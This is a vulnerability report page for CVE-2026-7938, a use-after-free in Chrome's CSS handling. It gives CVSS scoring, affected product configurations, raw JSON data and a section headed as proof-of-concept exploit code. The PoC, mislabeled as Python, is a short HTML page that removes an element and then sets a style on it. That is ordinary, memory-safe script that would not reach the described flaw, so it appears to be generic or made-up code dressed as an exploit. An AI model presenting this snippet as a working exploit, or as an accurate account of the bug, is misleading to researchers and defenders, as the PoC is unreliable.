Security Vulnerability Report
中文
CVE-2026-7938 CVSS 8.8 HIGH

CVE-2026-7938

Published: 2026-05-06 19:16:42
Last Modified: 2026-05-06 23:34:06

Description

Use after free in CSS in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- // Proof of Concept for CVE-2026-7938 // Demonstrates the Use After Free vulnerability in Chrome CSS handling --> <html> <head> <style> /* CSS definition that triggers the vulnerable code path */ .vulnerable-container { display: flex; transition: opacity 0.5s; } </style> </head> <body> <div id="target" class="vulnerable-container"> <span>Content</span> </div> <button onclick="triggerUAF()">Click to Trigger</button> <script> function triggerUAF() { var target = document.getElementById('target'); // Step 1: Force style calculation to allocate the object target.style.opacity = '0.5'; window.getComputedStyle(target).opacity; // Step 2: Remove the element to free the underlying memory target.remove(); // Step 3: Attempt to access the freed object after a delay // This causes the renderer to access freed memory (UAF) setTimeout(() => { try { target.style.opacity = '1'; // If the browser crashes here, the UAF is triggered console.log("UAF Triggered"); } catch (e) { console.log("Exception occurred"); } }, 100); } </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7938", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:42.113", "lastModified": "2026-05-06T23:34:05.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in CSS in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/492735384", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}